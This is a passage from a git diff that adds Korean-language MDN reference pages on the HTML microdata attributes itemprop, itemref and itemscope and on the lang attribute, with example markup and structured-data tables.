+   <td>Ring of Kerry</td>
+  </tr>
+  <tr>
+   <th>itemprop</th>
+   <td>img</td>
+   <td>https://www.flickr.com/photos/nlireland/6992065114/</td>
+  </tr>
+  <tr>
+   <th>itemprop</th>
+   <td>website</td>
+   <td>flickr</td>
+  </tr>
+  <tr>
+   <th>itemprop</th>
+   <td>(token)</td>
+   <td>(token)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>토큰(Tokens)</strong>은 문자열이거나 URL일 수 있습니다. item이 URL일 경우는 <strong>typed item</strong>이라고 하고 그렇지 않은 경우는 문자열(string)이라고 합니다. 문자열에는 마침표(period)나 콜론(colon)이 포함되어서는 안됩니다(아래 참고).</p>
+
+<ol>
+ <li>아이템이 typed item일 경우 다음 중 하나이어야 합니다:
+  <ol>
+   <li>정의된 프로퍼티 이름이거나</li>
+   <li>어휘(vocabulary)의 정의를 참조하는 유효한 URL이거나</li>
+   <li>전용(proprietary) 아이템 프로퍼티(예: 공개된 명세서에 정의되지 않은)로 사용되는 유효한 URL이어야 합니다.</li>
+  </ol>
+ </li>
+ <li>아이템이 typed item이 아닐 경우 다음을 따라야 합니다:
+  <ol>
+   <li>"<strong>.</strong>" (U+002E FULL STOP) 문자나 "<strong>:</strong>" characters (U+003A COLON) 문자를 포함하지 않는 문자열로 전용(proprietary) 아이템 프로퍼티(예: 공개된 명세서에 정의되지 않은)로 사용되는 유효한 URL이어야 합니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<p class="note"><strong>참고:</strong> 위에서 금지한, URL 값이 아닌 경우 ":" 문자가 포함되면 안되는 이유는 이 문자가 문자열에 포함되어 있으면 URL과 구분할 수 없기 때문입니다. "."를 포함하는 문자는 향후 확장을 고려해 예약된 것입니다. 공백(space) 문자는 공백이 포함되어 있을 경우 여러 개의 토큰으로 파싱될 수 있기 때문에 금지되어 있습니다.</p>
+
+<h2 id="값">값</h2>
+
+<p>이름-값 쌍의 프로퍼티 값은 다음 목록에서 처음으로 일치하는 값입니다:</p>
+
+<ul>
+ <li>해당 요소가 <strong>itemscope </strong>속성을 가지고 있을 경우
+
+  <ul>
+   <li>그 값은 해당 요소가 생성한 <strong>아이템(item)</strong>입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>meta </strong>요소일 경우
+  <ul>
+   <li>그 값은 해당 요소의 <strong>content </strong>속성의 값입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>audio</strong>, <strong>embed</strong>, <strong>iframe</strong>, <strong>img</strong>, <strong>source</strong>, <strong>track</strong>, 또는 <strong>video</strong>일 경우
+  <ul>
+   <li>그 값은 src 속성이 해당 요소에 설정될 당시 노드 문서(node document;<a href="/en-US/docs/Web/API/Microdata_DOM_API">Microdata DOM API</a>의 일부)에 상대적인 src 속성의 값을 파싱한 URL 문자열입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>a</strong>, <strong>area</strong>, 또는 <strong>link </strong>요소일 경우
+  <ul>
+   <li>그 값은 href 속성이 해당 요소에 설정될 당시 노드 문서에 상대적인 href 속성의 값을 파싱한 URL 문자열입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>object </strong>요소일 경우
+  <ul>
+   <li>그 값은 data 속성이 해당 요소에 설정될 당시 노드 문서에 상대적인 data 속성의 값을 파싱한 URL 문자열입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>data</strong>일 경우
+  <ul>
+   <li>그 값은 해당 요소의 value 속성의 값입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>meter</strong>일 경우
+  <ul>
+   <li>그 값은 해당 요소의 <strong>value </strong>속성의 값입니다.</li>
+  </ul>
+ </li>
+ <li>해당 요소가 <strong>time</strong>일 경우
+  <ul>
+   <li>그 값은 해당 요소의 <strong>datetime</strong> 값 입니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>그 외의 경우</p>
+
+<ul>
+ <li>그 값은 해당 요소의 <strong>textContent</strong> 입니다.</li>
+</ul>
+
+<p>어떤 프로퍼티의 값이 <strong>URL</strong>이라면, 그 프로퍼티는 URL 속성 요소를 이용해 지정되어야 합니다. URL 속성 요소는 <strong>a</strong>, <strong>area</strong>, <strong>audio</strong>, <strong>embed</strong>, <strong>iframe</strong>, <strong>img</strong>, <strong>link</strong>, <strong>object</strong>, <strong>source</strong>, <strong>track</strong>, 그리고 <strong>video </strong>요소입니다.</p>
+
+<h3 id="이름_순서">이름 순서</h3>
+
+<p>이름은 서로 순서가 없지만, 특정한 이름이 여러 값을 가지는 경우라면 상대적인 순서를 가집니다.</p>
+
+<h4 id="다음_예제에서_a_프로퍼티는_순서대로_1과_2의_값을_가지지만_a_프로퍼티가_b_프로퍼티_보다_먼저_오는지_아닌지는_중요하지_않습니다.">다음 예제에서 "a" 프로퍼티는 순서대로 "1"과 "2"의 값을 가지지만,  "a" 프로퍼티가 "b" 프로퍼티 보다 먼저 오는지 아닌지는 중요하지 않습니다.</h4>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="다음_세_예제는_모두_같습니다.">다음 세 예제는 모두 같습니다.</h4>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html notranslate">&lt;div id="x"&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+&lt;/div&gt;
+&lt;div itemscope itemref="x"&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h2 id="다른_예제">다른 예제</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;dl itemscope
+  itemtype="http://vocab.example.net/book"
+  itemid="urn:isbn:0-330-34032-8"&gt;
+ &lt;dt&gt;Title
+   &lt;dd
+    itemprop="title"&gt;The Reality Dysfunction
+ &lt;dt&gt;Author
+   &lt;dd
+     itemprop="author"&gt;Peter F. Hamilton
+ &lt;dt&gt;Publication date
+ &lt;dd&gt;&lt;time
+   itemprop="pubdate"
+   datetime="1996-01-26"&gt;26 January 1996&lt;/time&gt;
+&lt;/dl&gt;
+</pre>
+
+<h3 id="구조화된_데이터_2">구조화된 데이터</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype: itemid</td>
+   <td colspan="2" rowspan="1">http://vocab.example.net/book: urn:isbn:0-330-34032-8</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>title</td>
+   <td>The Reality Dysfunction</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>author</td>
+   <td>Peter F. Hamilton</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>pubdate</td>
+   <td>1996-01-26</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('HTML_2', '', '', '', 'Web/HTML/Global_attributes/itemprop')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemprop")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/Global_attributes">다른 전역 특성</a></li>
+ <li>다른 마이크로데이터와 관련된 전역 속성:
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemref/index.html b/files/ko/web/html/global_attributes/itemref/index.html
new file mode 100644
index 0000000000..3b9f63afea
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemref/index.html
@@ -0,0 +1,95 @@
+---
+title: itemref
+slug: Web/HTML/Global_attributes/itemref
+tags:
+  - Global attribute
+  - HTML
+  - HTML Microdata
+  - Reference
+translation_of: Web/HTML/Global_attributes/itemref
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><strong><code>itemref</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 사용하면 {{htmlattrxref("itemscope")}} 특성을 가진 요소 바깥의 속성도 아이템과 연결할 수 있습니다.</p>
+
+<p><code>itemref</code> 특성에는 문서 내 다른 요소의 {{htmlattrxref("id")}} 목록({{htmlattrxref("itemid")}} 아님)을 제공해야 합니다.</p>
+
+<p><code>itemref</code> 특성은 <code>itemscope</code> 특성을 지정한 요소에만 추가할 수 있습니다.</p>
+
+<p class="note"><strong>참고: </strong><code>itemref</code> 특성은 마이크로데이터 데이터 모델의 일부가 아니며, 트리 구조를 따르지 않는 데이터에 웹 작성자가 주석을 추가하는 것을 돕는 구문 구조에 불과합니다. 예를 들어, 표의 열이 별개의 아이템인데 데이터 속성은 열을 구성하는 칸에 포함하고 싶은 경우 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name: &lt;span itemprop="name"&gt;Amanda&lt;/span&gt; &lt;/p&gt;
+&lt;div id="b" itemprop="band" itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+    &lt;p&gt;Band: &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt; &lt;/p&gt;
+    &lt;p&gt;Size: &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="구조화_데이터">구조화 데이터</h3>
+
+<p><small>(<a href="https://json-ld.org/" rel="external">JSON-LD</a> 형식)</small></p>
+
+<pre class="brush: json">{
+  "@id": "amanda",
+  "name": "Amanda",
+  "band": {
+    "@id": "b",
+    "name": "Jazz Band",
+    "size": 12
+  }
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemref")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>마이크로데이터 관련 다른 전역 특성
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemscope/index.html b/files/ko/web/html/global_attributes/itemscope/index.html
new file mode 100644
index 0000000000..8d9b8368fc
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemscope/index.html
@@ -0,0 +1,284 @@
+---
+title: itemscope
+slug: Web/HTML/Global_attributes/itemscope
+tags:
+  - Global attribute
+  - HTML
+  - HTML Microdata
+  - Microdata
+  - Reference
+  - 마이크로데이터
+translation_of: Web/HTML/Global_attributes/itemscope
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemscope</strong></code> 전역 특성은 연관된 메타데이터의 범위를 지정하는 불리언 특성입니다. 요소에 <code>itemscope</code> 특성을 지정하면 새로운 아이템을 생성하고, 그 결과로 요소에 관련된 키-값 쌍 다수를 낳습니다. 관련 특성인 {{htmlattrxref("itemtype")}}은 어휘(<a href="https://schema.org/">schema.org</a> 등)의 유효한 {{glossary("URL")}}을 지정할 때 사용합니다. 아래 각각의 예제는 <a href="https://schema.org/">schema.org</a>의 어휘를 사용합니다.</p>
+
+<p>모든 HTML 요소는 <code>itemscope</code> 특성을 가질 수 있습니다. <code>itemscope</code>를 가졌으나 연결된 <code>itemtype</code>이 없는 경우 반드시 연관된 <code>itemref</code>를 가져야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>itemtype</code> 특성을 더 알아보려면 <a href="http://schema.org/Thing">http://schema.org/Thing</a>을 방문하세요.</p>
+</div>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<p>다음의 예제는 <code>itemscope</code> 특성의 사용법을 보입니다. <code>itemtype</code>은 <a href="http://schema.org/Movie"> http://schema.org/Movie</a>로 지정하고, 세 개의 관련 <code>itemprop</code> 특성을 가집니다.</p>
+
+<pre class="brush:html">&lt;div itemscope itemtype="http://schema.org/Movie"&gt;
+  &lt;h1 itemprop="name"&gt;Avatar&lt;/h1&gt;
+  &lt;span&gt;Director: &lt;span itemprop="director"&gt;James Cameron&lt;/span&gt; (born August 16, 1954)&lt;/span&gt;
+  &lt;span itemprop="genre&gt;Science fiction&lt;/span&gt;
+  &lt;a href="https://youtu.be/0AY1XIkX7bY" itemprop="trailer"&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="구조화된_데이터">구조화된 데이터</h4>
+
+<p>다음 표는 앞선 코드의 구조화된 데이터를 나타냅니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td rowspan="6">itemscope</td>
+   <td>Itemtype</td>
+   <td colspan="2">Movie</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>(itemprop name)</td>
+   <td>(itemprop value)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>director</td>
+   <td>James Cameron</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>genre</td>
+   <td>Science Fiction</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Avatar</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>https://youtu.be/0AY1XIkX7bY</td>
+   <td>Trailer</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="itemscope_id_특성"><code>itemscope</code> id 특성</h3>
+
+<p>요소에 <code>itemscope</code> 특성을 지정하면 새로운 아이템이 생성됩니다. 아이템은 이름-값 쌍 그룹으로 이루어집니다. <code>itemscope</code>와 <code>itemtype</code> 특성을 가진 요소의 경우, {{htmlattrxref("id")}} 특성도 지정할 수 있습니다. <code>id</code>를 사용하면 새로운 아이템에 대한 전역 식별자를 설정할 수 있으며, 전역 식별자를 사용하면 웹에서 찾을 수 있는 다른 아이템과 연결할 수 있습니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<p>다음 예제는 네 개의 <code>itemscope</code> 특성을 가지고 있습니다. 각각의 <code>itemscope</code> 특성은 대응하는 <code>itemtype</code> 특성의 범위를 지정합니다. <code>itemtype</code>, <code>Recipe</code>, <code>AggregateRating</code>, <code>NutritionInformation</code>은 요리법에 관한 <a href="https://www.schema.org">schema.org</a> 구조화된 데이터로, 첫 번째 <code>itemtype</code>의 값인 http://schema.org/Recipe에 정의되어 있습니다.</p>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/Recipe"&gt;
+  &lt;h2 itemprop="name"&gt;Grandma's Holiday Apple Pie&lt;/h2&gt;
+  &lt;img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50" /&gt;
+  &lt;p&gt;
+    By &lt;span itemprop="author" itemscope itemtype="http://schema.org/Person"&gt;
+      &lt;span itemprop="name"&gt;Carol Smith&lt;/span&gt;
+    &lt;/span&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    Published: &lt;time datetime="2009-11-05" itemprop="datePublished"&gt;November 5, 2009&lt;/time&gt;
+  &lt;/p&gt;
+  &lt;span itemprop="description"&gt;This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.&lt;/span&gt;
+  &lt;br&gt;
+  &lt;span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"&gt;
+    &lt;span itemprop="ratingValue"&gt;4.0&lt;/span&gt; stars based on &lt;span itemprop="reviewCount"&gt;35&lt;/span&gt; reviews
+  &lt;/span&gt;
+  &lt;br&gt;
+  Prep time: &lt;time datetime="PT30M" itemprop="prepTime"&gt;30 min&lt;/time&gt;&lt;br&gt;
+  Cook time: &lt;time datetime="PT1H" itemprop="cookTime"&gt;1 hou&lt;/time&gt;r&lt;br&gt;
+  Total time: &lt;time datetime="PT1H30M" itemprop="totalTime"&gt;1 hour 30 min&lt;/time&gt;&lt;br&gt;
+  Yield: &lt;span itemprop="recipeYield"&gt;1 9" pie (8 servings)&lt;/span&gt;&lt;br&gt;
+  &lt;span itemprop="nutrition" itemscope itemtype="http://schema.org/NutritionInformation"&gt;
+    Serving size: &lt;span itemprop="servingSize"&gt;1 medium slice&lt;/span&gt;&lt;br&gt;
+    Calories per serving: &lt;span itemprop="calories"&gt;250 cal&lt;/span&gt;&lt;br&gt;
+    Fat per serving: &lt;span itemprop="fatContent"&gt;12 g&lt;/span&gt;&lt;br&gt;
+  &lt;/span&gt;
+  &lt;p&gt;
+    Ingredients:&lt;br&gt;
+    &lt;span itemprop="recipeIngredient"&gt;Thinly-sliced apples: 6 cups&lt;br&gt;&lt;/span&gt;
+    &lt;span itemprop="recipeIngredient"&gt;White sugar: 3/4 cup&lt;br&gt;&lt;/span&gt;
+    ...
+  &lt;/p&gt;
+  Directions: &lt;br&gt;
+  &lt;div itemprop="recipeInstructions"&gt;
+    1. Cut and peel apples&lt;br&gt;
+    2. Mix sugar and cinnamon. Use additional sugar for tart apples. &lt;br&gt;
+    ...
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>다음은 위의 코드를 렌더링한 예제입니다.</p>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h4 id="구조화된_데이터_2">구조화된 데이터</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype</td>
+   <td colspan="2" rowspan="1">Recipe</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Grandma's Holiday Apple Pie</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>image</td>
+   <td>https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>datePublished</td>
+   <td>2009-11-05</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>description</td>
+   <td>This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>prepTime</td>
+   <td>PT30M</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>cookTime</td>
+   <td>PT1H</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>totalTime</td>
+   <td>PT1H30M</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeYield</td>
+   <td>1 9" pie (8 servings)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeIngredient</td>
+   <td>Thinly-sliced apples: 6 cups</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeIngredient</td>
+   <td>White sugar: 3/4 cup</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>recipeInstructions</td>
+   <td>1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples .</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td colspan="2" rowspan="1">author [Person]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Carol Smith</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">aggregateRating [AggregateRating]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>ratingValue</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>reviewCount</td>
+   <td>35</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="4">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">nutrition [NutritionInformation]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>servingSize</td>
+   <td>1 medium slice</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>calories</td>
+   <td>250 cal</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>fatContent</td>
+   <td>12 g</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고</strong>: HTML에서 마이크로데이터를 추출할 때 유용하게 사용할 수 있는 Google의 <a href="https://search.google.com/structured-data/testing-tool">구조화된 데이터 테스트 도구</a>가 있습니다. 위의 HTML 예제 코드를 넣어보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터에서 만려면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 을 방문하셔서 요청해주시길 바랍니다.</div>
+
+<p>{{Compat("html.global_attributes.itemscope")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>마이크로데이터 관련 다른 전역 특성
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/lang/index.html b/files/ko/web/html/global_attributes/lang/index.html
new file mode 100644
index 0000000000..db9e80e1f2
--- /dev/null
+++ b/files/ko/web/html/global_attributes/lang/index.html
@@ -0,0 +1,90 @@
+---
+title: lang
+slug: Web/HTML/Global_attributes/lang
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/lang
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><strong><code>lang</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소 내의 수정 불가한 텍스트의 언어와, 수정 가능한 텍스트가 사용해야 하는 언어를 정의합니다. 특성의 값은 <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>에 정의된 형식의 "언어 태그" 한 개입니다.</p>
+
+<p class="note"><code>lang</code>의 기본값은 "알 수 없음"이므로 항상 적절한 값을 지정하는 것이 좋습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>특성의 값이 빈 문자열(<code>lang=""</code>)일 때의 값은 "알 수 없음"(unknown)이며, 지정한 값이 BCP47의 유효한 값이 아닌 경우 "유효하지 않음"(invalid)입니다.</p>
+
+<div class="note">
+<h2 id="언어_태그_구문">언어 태그 구문</h2>
+
+<p>BCP47의 전체 구문은 매우 상세하여 어떤 언어의 세세한 방언을 나타낼 수도 있지만, 대부분의 사용법은 훨씬 단순합니다.</p>
+
+<p>언어 태그는 붙임표로 구분하는 "언어 하위태그"로 구성하며, 각각의 하위태그가 언어의 특정 속성을 나타냅니다. 가장 흔히 쓰이는 세 개의 하위 태그는 다음과 같습니다.</p>
+
+<dl>
+ <dt>언어 하위태그</dt>
+ <dd>필수. 두 세 글자로 구성된 코드로 기본 언어를 정의하며, 보통 모두 소문자로 표기합니다. 예를 들어 영어의 언어 태그는 <code>en</code>이고, 한국어의 언어 태그는 <code>ko</code>입니다.</dd>
+ <dt>활자 하위태그</dt>
+ <dd>선택사항. 언어의 문자 체계를 나타내며 항상 네 글자이고, 첫 글자는 대문자입니다. 예를 들어, 점자로 쓴 프랑스어는 <code>fr-Brai</code>이고, 일본어 가타카나는 <code>ja-Kana</code>입니다. 라틴 알파벳으로 작성한 영어와 같이 굉장히 흔히 쓰이는 체계의 경우 활자 하위태그를 지정할 필요가 없습니다.</dd>
+ <dt>지역 하위태그</dt>
+ <dd>선택사항. 기본 언어 안에서 특정 지역의 방언을 정의하며, 국가 코드와 일치하는 전체 대문자의 두 글자이거나, 국가 외 지역과 일치하는 세 글자 숫자로 구성됩니다. <code>es-ES</code>는 스페인에서 사용하는 스페인어, <code>es-013</code>은 중앙 아메리카에서 사용하는 스페인어이며 "국제 스페인어"는 짧게 <code>es</code>가 됩니다.</dd>
+</dl>
+
+<p>활자와 지역 하위태그가 모두 존재할 경우 활자 태그가 더 앞에 배치됩니다. 예를 들어, <code>ru-Cyrl-BY</code>는 키릴 문자로 작성한 벨라루스의 러시아어입니다.</p>
+
+<p>언어에 적합한 하위태그를 찾아보시려면 <a href="https://r12a.github.io/app-subtags/" rel="external">Language Subtag Lookup</a>을 사용해보세요.</p>
+</div>
+
+<p>CSS {{cssxref(":lang")}} 의사 클래스에서는 유효하지 않은 언어의 이름 두 가지가 이 서로 다르다면 별도로 취급합니다. 예컨대, <code>:lang(es)</code> <code>lang="es-ES"</code>와 <code>lang="es-419"</code> 모두 선택하지만, <code>:lang(xyzzy)</code>는 <code>lang="xyzzy-Zorp!"</code>를 선택하지 못합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, behavior with <code>xml:lang</code> and language determination algorithm defined. It also is a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.lang")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
